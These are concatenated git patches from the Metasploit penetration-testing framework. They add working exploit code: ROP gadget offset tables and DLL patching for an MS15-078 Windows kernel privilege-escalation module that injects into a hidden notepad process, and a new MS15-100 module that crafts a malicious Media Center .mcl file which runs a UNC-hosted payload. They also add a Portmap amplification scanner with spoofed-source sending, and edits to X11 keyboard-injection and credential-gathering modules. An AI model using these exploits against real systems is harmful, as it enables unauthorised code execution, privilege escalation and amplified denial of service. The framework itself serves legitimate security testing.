546be8ceba..68a5836f01 100644 --- a/lib/msf/core/reflective_dll_loader.rb +++ b/lib/msf/core/reflective_dll_loader.rb @@ -10,7 +10,6 @@ module Msf::ReflectiveDLLLoader - # # Load a reflectively-injectable DLL from disk and find the offset # to the ReflectiveLoader function inside the DLL. # @@ -18,14 +17,32 @@ module Msf::ReflectiveDLLLoader # # @return [Array] Tuple of DLL contents and offset to the # +ReflectiveLoader+ function within the DLL. - # def load_rdi_dll(dll_path) dll = '' - offset = nil - ::File.open(dll_path, 'rb') { |f| dll = f.read } + offset = parse_pe(dll) + + return dll, offset + end + + # Load a reflectively-injectable DLL from an string and find the offset + # to the ReflectiveLoader function inside the DLL. + # + # @param [Fixnum] dll_data the DLL to load. + # + # @return [Fixnum] offset to the +ReflectiveLoader+ function within the DLL. + def load_rdi_dll_from_data(dll_data) + offset = parse_pe(dll_data) + + offset + end + + private + + def parse_pe(dll) pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll)) + offset = nil pe.exports.entries.each do |e| if e.name =~ /^\S*ReflectiveLoader\S*/ @@ -38,6 +55,6 @@ module Msf::ReflectiveDLLLoader raise "Cannot find the ReflectiveLoader entry point in #{dll_path}" end - return dll, offset + offset end end diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index 3327ef3766..934d6bd078 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -30,7 +30,8 @@ class Metasploit3 < Msf::Exploit::Local 'Eugene Ching', # vulnerability discovery and exploit 'Mateusz Jurczyk', # vulnerability discovery 'Cedric Halbronn', # vulnerability and exploit analysis - 'juan vazquez' # msf module + 'juan vazquez', # msf module + 'sinn3r' # msf module ], 'Arch' => ARCH_X86_64, 'Platform' => 'win', @@ -60,6 +61,160 @@ class Metasploit3 < Msf::Exploit::Local })) end + def patch_win32k_offsets(dll) + @win32k_offsets.each do |k, v| + case k + when 'info_leak' + puts "patching ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe00].pack('Q<'), [v].pack('Q<')) + when 'pop_rax_ret' + puts "patching 1 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe01].pack('Q<'), [v].pack('Q<')) + when 'xchg_rax_rsp' + puts "patching 2 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe02].pack('Q<'), [v].pack('Q<')) + when 'allocate_pool' + puts "patching 3 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe03].pack('Q<'), [v].pack('Q<')) + when 'pop_rcx_ret' + puts "patching 4 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe04].pack('Q<'), [v].pack('Q<')) + when 'deref_rax_into_rcx' + puts "patching 5 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe05].pack('Q<'), [v].pack('Q<')) + when 'mov_rax_into_rcx' + puts "patching 6 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe06].pack('Q<'), [v].pack('Q<')) + when 'pop_rbx_ret' + puts "patching 7 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe07].pack('Q<'), [v].pack('Q<')) + when 'ret' + puts "patching 8 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe08].pack('Q<'), [v].pack('Q<')) + when 'mov_rax_r11_ret' + puts "patching 9 ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe09].pack('Q<'), [v].pack('Q<')) + when 'add_rax_rcx_ret' + puts "patching a ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe0a].pack('Q<'), [v].pack('Q<')) + when 'pop_rsp_ret' + puts "patching b ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe0b].pack('Q<'), [v].pack('Q<')) + when 'xchg_rax_rsp_adjust' + puts "patching c ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe0c].pack('Q<'), [v].pack('Q<')) + when 'chwnd_delete' + puts "patching d ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe0d].pack('Q<'), [v].pack('Q<')) + end + end + end + + def set_win32k_offsets + @win32k_offsets ||= Proc.new do |version| + case version + when '6.3.9600.17393' + { + # 0xdeedbeefdeedbe00 + 'info_leak' => 0x3cf00, + # 0xdeedbeefdeedbe01 + 'pop_rax_ret' => 0x19fab, # pop rax # ret # 58 C3 + # 0xdeedbeefdeedbe02 + 'xchg_rax_rsp' => 0x6121, # xchg eax, esp # ret # 94 C3 + # 0xdeedbeefdeedbe03 + 'allocate_pool' => 0x352220, # import entry nt!ExAllocatePoolWithTag + # 0xdeedbeefdeedbe04 + 'pop_rcx_ret' => 0x98156, # pop rcx # ret # 59 C3 + # 0xdeedbeefdeedbe05 + 'deref_rax_into_rcx' => 0xc432f, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 + # 0xdeedbeefdeedbe06 + 'mov_rax_into_rcx' => 0xc432f, # mov [rcx], rax # ret # 48 89 01 C3 + # 0xdeedbeefdeedbe07 + 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 + # 0xdeedbeefdeedbe08 + 'ret' => 0x6e314, # ret C3 + # 0xdeedbeefdeedbe09 + 'mov_rax_r11_ret' => 0x7018e, # mov rax, r11 # ret # 49 8B C3 C3 + # 0xdeedbeefdeedbe0a + 'add_rax_rcx_ret' => 0xee38f, # add rax, rcx # ret # 48 03 C1 C3 + # 0xdeedbeefdeedbe0b + 'pop_rsp_ret' => 0xbc8f, # pop rsp # ret # 5c c3 + # 0xdeedbeefdeedbe0c + 'xchg_rax_rsp_adjust' => 0x189a3a, # xchg esp, eax # sar bh, cl # add rsp, 0x80 # pop rbx # ret # 94 1C 00 8B C3 48 83 c4 20 5b c3 + # 0xdeedbeefdeedbe0d + 'chwnd_delete' => 0x165010 # CHwndTargetProp::Delete + } + when '6.3.9600.17837' + { + 'info_leak' => 0x3d800, + 'pop_rax_ret' => 0x1a51f, # pop rax # ret # 58 C3 + 'xchg_rax_rsp' => 0x62b4, # xchg eax, esp # ret # 94 C3 + 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag + 'pop_rcx_ret' => 0x97a4a, # pop rcx # ret # 59 C3 + 'deref_rax_into_rcx' => 0xc3687, # mov rax, [rax] # mov [rcx], rax # ret # 48 8B 00 48 89 01 C3 + 'pop_rbx_ret' => 0x14db, # pop rbx # ret # 5B C3 + 'ret' => 0x14dc, # ret C3 + 'mov_rax_r11_ret' => 0x94871, # mov rax, r11 # ret # 49 8B C3 C3 + 'add_rax_rcx_ret' => 0xecbdb, # add rax, rcx # ret # 48 03 C1 C3 + 'mov_rax_into_rcx' => 0xc368a, # mov [rcx], rax # ret # 48 89 01 C3 + 'pop_rsp_ret' => 0xbd2c, # pop rsp # ret # 5c c3 + 'xchg_rax_rsp_adjust' => 0x15e84c, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret + 'chwnd_delete' => 0x15A470 # CHwndTargetProp::Delete + } + when '6.3.9600.17915' + { + 'pop_rax_ret' => 0x1A4EF, # 58 C3 + 'xchg_rax_rsp' => 0x62CC, # 94 C3 + 'allocate_pool' => 0x351220, # import entry nt!ExAllocatePoolWithTag + 'pop_rcx_ret' => 0x9765A, # 59 C3 + 'write_into_rcx' => 0xC364F, # 48 8B 00 48 89 01 C3 + 'pop_rbx_ret' => 0x14DB, # 5B C3 + 'ret' => 0x14Dc, # C3 + 'mov_rax_r11_ret' => 0x45013, # 49 8B C3 + 'add_rax_rcx_ret' => 0xECDCB, # 48 03 C1 C3 + 'mov_rsp_rax_ret' => 0, # 50 2D 20 00 48 8B 5C 24 08 48 8B 7C 24 10 8B C2 C3 + 'xchg_rax_rsp_adjust' => 0x34241a, # 94 d2 ff 48 81 c4 80 00 00 00 5b c3 + 'chwnd_delete' => 0x15A220 + } + else + nil + end + end.call(@win32k) + end + + def patch_nt_offsets(dll) + @nt_offsets.each do |k, v| + case k + when 'set_cr4' + puts "patching e ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe0e].pack('Q<'), [v].pack('Q<')) + when 'allocate_pool_with_tag' + puts "patching f ! #{Rex::Text.to_hex_dump([v].pack('Q<'))}" + dll.gsub!([0xdeedbeefdeedbe0f].pack('Q<'), [v].pack('Q<')) + end + end + end + + def set_nt_offsets + @nt_offsets ||= Proc.new do |version| + case version + when '6.3.9600.17415' + { + # 0xdeedbeefdeedbe0e + 'set_cr4' => 0x38a3cc, # 0F 22 E0 48 83 C4 28 C3 + # 0xdeedbeefdeedbe0f + 'allocate_pool_with_tag' => 0x2a3a50 + } + when '6.3.9600.17936' + { + 'set_cr4' => 0x3863bc # 0F 22 E0 48 83 C4 28 C3 + } + else + nil + end + end.call(@ntoskrnl) + end + def atmfd_version file_path = expand_path('%windir%') << '\\system32\\atmfd.dll' major, minor, build, revision, branch = file_version(file_path) @@ -108,24 +263,24 @@ class Metasploit3 < Msf::Exploit::Local end # win32k.sys 6.3.9600.17393 => Works - win32k = win32k_version + @win32k = win32k_version - unless win32k && win32k =~ /^6\.3/ + unless @win32k && @win32k =~ /^6\.3/ return Exploit::CheckCode::Unknown end - unless win32k && Gem::Version.new(win32k) == Gem::Version.new('6.3.9600.17393') + unless @win32k && Gem::Version.new(@win32k) == Gem::Version.new('6.3.9600.17393') return Exploit::CheckCode::Detected end # ntoskrnl.exe 6.3.9600.17415 => Works - ntoskrnl = ntoskrnl_version + @ntoskrnl = ntoskrnl_version - unless ntoskrnl && ntoskrnl =~ /^6\.3/ + unless @ntoskrnl && @ntoskrnl =~ /^6\.3/ return Exploit::CheckCode::Unknown end - unless ntoskrnl && Gem::Version.new(ntoskrnl) == Gem::Version.new('6.3.9600.17415') + unless @ntoskrnl && Gem::Version.new(@ntoskrnl) == Gem::Version.new('6.3.9600.17415') return Exploit::CheckCode::Detected end @@ -146,6 +301,12 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') end + set_win32k_offsets + fail_with(Failure::NoTarget, 'win32k.sys offsets not available') if @win32k_offsets.nil? + + set_nt_offsets + fail_with(Failure::NoTarget, 'ntoskrnl.exe offsets not available') if @nt_offsets.nil? + begin print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) @@ -162,7 +323,13 @@ class Metasploit3 < Msf::Exploit::Local library_path = ::File.expand_path(library_path) print_status("Reflectively injecting the exploit DLL into #{process.pid}...") - exploit_mem, offset = inject_dll_into_process(process, library_path) + dll = '' + ::File.open(library_path, 'rb') { |f| dll = f.read } + + patch_win32k_offsets(dll) + patch_nt_offsets(dll) + + exploit_mem, offset = inject_dll_data_into_process(process, dll) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) From f2ccca97e0cc251c2a444ad764666ef3ab006589 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 11 Sep 2015 01:56:21 -0500 Subject: [PATCH 0614/2172] Move require 'msf/core/post/android' to post.rb --- lib/msf/core/post.rb | 1 + modules/post/android/manage/remove_lock_root.rb | 1 - 2 files changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post.rb b/lib/msf/core/post.rb index 98dc6ef784..1148263f8a 100644 --- a/lib/msf/core/post.rb +++ b/lib/msf/core/post.rb @@ -16,6 +16,7 @@ class Msf::Post < Msf::Module require 'msf/core/post/solaris' require 'msf/core/post/unix' require 'msf/core/post/windows' + require 'msf/core/post/android' include Msf::PostMixin diff --git a/modules/post/android/manage/remove_lock_root.rb b/modules/post/android/manage/remove_lock_root.rb index 8f390a61b0..1a71658619 100644 --- a/modules/post/android/manage/remove_lock_root.rb +++ b/modules/post/android/manage/remove_lock_root.rb @@ -4,7 +4,6 @@ ## require 'msf/core' -require 'msf/core/post/android' class Metasploit4 < Msf::Post From e9e4b60102229b96b85e89e3bb7230705df37a0d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 11 Sep 2015 01:58:12 -0500 Subject: [PATCH 0615/2172] move require 'msf/core/post/android' to post.rb --- lib/msf/core/post.rb | 1 + modules/post/android/manage/remove_lock.rb | 1 - 2 files changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post.rb b/lib/msf/core/post.rb index 98dc6ef784..1148263f8a 100644 --- a/lib/msf/core/post.rb +++ b/lib/msf/core/post.rb @@ -16,6 +16,7 @@ class Msf::Post < Msf::Module require 'msf/core/post/solaris' require 'msf/core/post/unix' require 'msf/core/post/windows' + require 'msf/core/post/android' include Msf::PostMixin diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb index a0724aac4e..817cc60fb4 100644 --- a/modules/post/android/manage/remove_lock.rb +++ b/modules/post/android/manage/remove_lock.rb @@ -4,7 +4,6 @@ ## require 'msf/core' -require 'msf/core/post/android' class Metasploit4 < Msf::Post Rank = NormalRanking From 5f9f66cc1f3f1213156896bf1f71ab082415975c Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 11 Sep 2015 02:21:01 -0500 Subject: [PATCH 0616/2172] Fix nil bug in SSO gather module --- modules/post/windows/gather/credentials/sso.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index 4b2b7514e5..d2584ecf2c 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -150,7 +150,7 @@ class Metasploit3 < Msf::Post /^LOCAL SYSTEM$/ ] - return system_users.find{|r| user.match(r)} + system_users.find{|r| user.to_s.match(r)} end end From 01053095f92290907995ed3c3d94fcd56a89cfad Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 11 Sep 2015 15:05:06 -0500 Subject: [PATCH 0617/2172] Add MS15-100 Microsoft Windows Media Center MCL Vulnerability --- .../windows/fileformat/ms15_100_mcl_exe.rb | 70 +++++++++++++++++++ 1 file changed, 70 insertions(+) create mode 100644 modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb diff --git a/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb b/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb new file mode 100644 index 0000000000..5592fe0c68 --- /dev/null +++ b/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb @@ -0,0 +1,70 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + include Msf::Exploit::Remote::SMB::Server::Share + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS15-100 Microsoft Windows Media Center MCL Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability in Windows Media Center. By supplying + an UNC path in the *.mcl file, a remote file will be automatically downloaded, + which can result in arbitrary code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r', + ], + 'References' => + [ + ['CVE', '2015-2509'], + ['MSB', 'MS15-100'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'DisablePayloadHandler' => 'false' + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Windows', {}], + ], + 'Privileged' => false, + 'DisclosureDate' => "Sep 8 2015", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']), + OptString.new('FILE_NAME', [ false, 'The name of the malicious payload to execute', 'msf.exe']) + ], self.class) + end + + def generate_mcl + %Q|<application run="#{unc}" />| + end + + def primer + self.file_contents = generate_payload_exe + print_status("Malicious executable at #{unc}...") + + print_status("Creating '#{datastore['FILENAME']}' file ...") + mcl = generate_mcl + file_create(mcl) + end + +end From dc8d1f6e6ad98c0426d98281a1e8ea22e5fb62bf Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Sat, 12 Sep 2015 13:08:58 +0700 Subject: [PATCH 0618/2172] Small changes --- .../exploits/unix/x11/x11_keyboard_exec.rb | 28 +++++++++---------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/modules/exploits/unix/x11/x11_keyboard_exec.rb b/modules/exploits/unix/x11/x11_keyboard_exec.rb index f625575735..00ba8cad4b 100644 --- a/modules/exploits/unix/x11/x11_keyboard_exec.rb +++ b/modules/exploits/unix/x11/x11_keyboard_exec.rb @@ -169,7 +169,7 @@ class Metasploit3 < Msf::Exploit::Remote res = sock.get_once # Response should give 1 on first byte (Success) - unless res and res[0,1] == "\x01" + unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}") end @@ -208,7 +208,7 @@ class Metasploit3 < Msf::Exploit::Remote res = sock.get_once # Response should give 1 on first byte (Success) - unless res and res[0,1] == "\x01" + unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}") end @@ -276,7 +276,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) - unless res and res[0,1] == "\x01" + unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed") end @@ -294,7 +294,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) - if res and res[0,1] == "\x01" + if res && res[0,1] == "\x01" @xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode else #puts res.inspect @@ -312,7 +312,7 @@ class Metasploit3 < Msf::Exploit::Remote # Retrieve the whole X11 details response res = send_msg(sock,req) - unless res and res[0,1] == "\x01" + unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -") end @@ -329,7 +329,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) - unless res and res[0,1] == "\x01" + unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed") end @@ -346,7 +346,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) - if res and res[0,1] == "\x01" + if res && res[0,1] == "\x01" @xtest_opcode = res[9,1] # Retrieve the XTEST opcode else fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed") @@ -365,7 +365,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) - if res and res[0,1] == "\x01" + if res && res[0,1] == "\x01" @genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode else fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed") @@ -383,7 +383,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) - unless res and res[0,1] == "\x01" + unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed") end @@ -399,7 +399,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) - unless res and res[0,1] == "\x01" + unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed") end @@ -415,7 +415,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) - unless res and res[0,1] == "\x01" + unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed") end @@ -448,7 +448,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) - unless res and res[0,1] == "\x01" + unless res && res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed") end @@ -462,7 +462,7 @@ class Metasploit3 < Msf::Exploit::Remote # Wait X seconds to open the dialog print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...") - select(nil, nil, nil, datastore['TIME_WAIT']) + Rex.sleep(datastore['TIME_WAIT']) if datastore['TARGET'] == 0 # Start a xterm terminal @@ -476,7 +476,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...") # Wait X seconds to open the terminal - select(nil, nil, nil, datastore['TIME_WAIT']) + Rex.sleep(datastore['TIME_WAIT']) # "Type" our payload and execute it print_status("#{rhost}:#{rport} - Typing and executing payload") From eb018f3d2945c62a3b800e009f5e877bf9e617c6 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Sat, 12 Sep 2015 03:07:15 -0500 Subject: [PATCH 0619/2172] No 7zip --- tools/extract_msu.bat | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tools/extract_msu.bat b/tools/extract_msu.bat index eab185d398..a8140103f2 100644 --- a/tools/extract_msu.bat +++ b/tools/extract_msu.bat @@ -18,8 +18,9 @@ for /f %%f in ('dir /B %arg%') DO ( @set lastfourchars=!fname:~-4,4! if "!lastfourchars!" == ".msu" ( @set newname=!fname:~0,-4! - 7za e %arg%!fname! -o%arg%!newname! + mkdir %arg%!newname! mkdir %arg%!newname!\extracted + expand /F:* %arg%!fname! %arg%!newname! expand /F:* %arg%!newname!\!newname!.cab %arg%!newname!\extracted ) From 79e3a7f84b11f1302bd543d2a7b5077510f8f030 Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Sat, 12 Sep 2015 16:25:06 +0700 Subject: [PATCH 0620/2172] Portmap amplification scanner --- .../auxiliary/scanner/portmap/portmap_amp.rb | 207 ++++++++++++++++++ 1 file changed, 207 insertions(+) create mode 100644 modules/auxiliary/scanner/portmap/portmap_amp.rb diff --git a/modules/auxiliary/scanner/portmap/portmap_amp.rb b/modules/auxiliary/scanner/portmap/portmap_amp.rb new file mode 100644 index 0000000000..f0259d734b --- /dev/null +++ b/modules/auxiliary/scanner/portmap/portmap_amp.rb @@ -0,0 +1,207 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::DRDoS + + XID_SUMMARY = [Rex::Text::rand_text_numeric(8).to_i].pack("N") + XID_METRICS = [Rex::Text::rand_text_numeric(8).to_i].pack("N") + XID_DUMP = [Rex::Text::rand_text_numeric(8).to_i].pack("N") + + def initialize + super( + 'Name' => 'Portmap Amplification Scanner', + 'Description' => %q{ + This module can be used to discover Portmap servers which expose unauthicated + functionality that can be used in an amplication attack against a third party. + }, + 'Author' => [ 'xistence <xistence[at]0x90.nl>'], # Original scanner module + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A'] + ], + ) + + register_options( [ + Opt::RPORT(111), + ], self.class) + end + + def rport + datastore['RPORT'] + end + + def setup + super + + # RPC DUMP (Program version: 3) request: rpcinfo -T udp -s <IP> + @portmap_summary = "" + @portmap_summary << XID_SUMMARY # Random ID + @portmap_summary << "\x00\x00\x00\x00" # Message Type: 0 (Call) + @portmap_summary << "\x00\x00\x00\x02" # RPC Version: 2 + @portmap_summary << "\x00\x01\x86\xa0" # Program: Portmap (10000) + @portmap_summary << "\x00\x00\x00\x03" # Program version: 3 + @portmap_summary << "\x00\x00\x00\x04" # Procedure: DUMP (4) + @portmap_summary << "\x00\x00\x00\x00" # Credentials Flavor: AUTH_NULL (0) + @portmap_summary << "\x00\x00\x00\x00" # Credentials Length: 0 + @portmap_summary << "\x00\x00\x00\x00" # Verifier Flavor: AUTH_NULL (0) + @portmap_summary << "\x00\x00\x00\x00" # Verifier Length: 0 + + # RPC DUMP (Program version: 3) request: rpcinfo -T udp -p <IP> + @portmap_dump = "" + @portmap_dump << XID_DUMP # Random ID + @portmap_dump << "\x00\x00\x00\x00" # Message Type: 0 (Call) + @portmap_dump << "\x00\x00\x00\x02" # RPC Version: 2 + @portmap_dump << "\x00\x01\x86\xa0" # Program: Portmap (10000) + @portmap_dump << "\x00\x00\x00\x02" # Program version: 2 + @portmap_dump << "\x00\x00\x00\x04" # Procedure: DUMP (4) + @portmap_dump << "\x00\x00\x00\x00" # Credentials Flavor: AUTH_NULL (0) + @portmap_dump << "\x00\x00\x00\x00" # Credentials Length: 0 + @portmap_dump << "\x00\x00\x00\x00" # Verifier Flavor: AUTH_NULL (0) + @portmap_dump << "\x00\x00\x00\x00" # Verifier Length: 0 + + # RPC GETSTAT request: rpcinfo -T udp -m <IP> + @portmap_metrics = "" + @portmap_metrics << XID_METRICS # Random ID + @portmap_metrics << "\x00\x00\x00\x00" # Message Type: 0 (Call) + @portmap_metrics << "\x00\x00\x00\x02" # RPC Version: 2 + @portmap_metrics << "\x00\x01\x86\xa0" # Program: Portmap (10000) + @portmap_metrics << "\x00\x00\x00\x04" # Program version: 4 + @portmap_metrics << "\x00\x00\x00\x0c" # Procedure: GETSTAT (12) + @portmap_metrics << "\x00\x00\x00\x00" # Credentials Flavor: AUTH_NULL (0) + @portmap_metrics << "\x00\x00\x00\x00" # Credentials Length: 0 + @portmap_metrics << "\x00\x00\x00\x00" # Verifier Flavor: AUTH_NULL (0) + @portmap_metrics << "\x00\x00\x00\x00" # Verifier Length: 0 + + end + + def scanner_prescan(batch) + print_status("Sending Portmap RPC probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + @results_summary = {} + @results_dump = {} + @results_metrics = {} + end + + def scan_host(ip) + if spoofed? + datastore['ScannerRecvWindow'] = 0 + scanner_spoof_send(@portmap_summary, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + scanner_spoof_send(@portmap_dump, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + scanner_spoof_send(@portmap_metrics, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + scanner_send(@portmap_summary, ip, datastore['RPORT']) + scanner_send(@portmap_dump, ip, datastore['RPORT']) + scanner_send(@portmap_metrics, ip, datastore['RPORT']) + end + end + + def scanner_process(data, shost, sport) + if data =~/#{XID_SUMMARY}\x00\x00\x00\x01/ + @results_summary[shost] ||= [] + @results_summary[shost] << data + elsif data =~/#{XID_METRICS}\x00\x00\x00\x01/ + @results_metrics[shost] ||= [] + @results_metrics[shost] << data + elsif data =~/#{XID_DUMP}\x00\x00\x00\x01/ + @results_dump[shost] ||= [] + @results_dump[shost] << data + else + vprint_error("Skipping #{data.size}-byte non-Portmap response from #{shost}:#{sport}") + end + end + + # Called after the scan block + def scanner_postscan(batch) + @results_summary.keys.each do |k| + response_map_summary = { @portmap_summary => @results_summary[k] } + + report_service( + host: k, + proto: 'udp', + port: datastore['RPORT'], + name: 'portmap' + ) + + peer = "#{k}:#{datastore['RPORT']}" + vulnerable, proof = prove_amplification(response_map_summary) + what = 'Portmap RPC DUMP (Program version: 3) amplification' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln( + host: k, + port: datastore['RPORT'], + proto: 'udp', + name: what, + refs: self.references + ) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + + @results_dump.keys.each do |k| + response_map_dump = { @portmap_dump => @results_dump[k] } + + report_service( + host: k, + proto: 'udp', + port: datastore['RPORT'], + name: 'portmap' + ) + + peer = "#{k}:#{datastore['RPORT']}" + vulnerable, proof = prove_amplification(response_map_dump) + what = 'Portmap RPC DUMP (Program version: 2) amplification' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln( + host: k, + port: datastore['RPORT'], + proto: 'udp', + name: what, + refs: self.references + ) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + + @results_metrics.keys.each do |k| + response_map_metrics = { @portmap_summary => @results_metrics[k] } + + report_service( + host: k, + proto: 'udp', + port: datastore['RPORT'], + name: 'portmap' + ) + + peer = "#{k}:#{datastore['RPORT']}" + vulnerable, proof = prove_amplification(response_map_metrics) + what = 'Portmap RPC GETSTAT amplification' + if vulnerable + print_good("#{peer} - Vulnerable to #{what}: #{proof}") + report_vuln( + host: k, + port: datastore['RPORT'], + proto: 'udp', + name: what, + refs: self.references + ) + else + vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}") + end + end + + end +end + + From 0c4604734ec12495a684acf4ec85907f9cab4689 Mon Sep 17 00:00:00 2001 From: 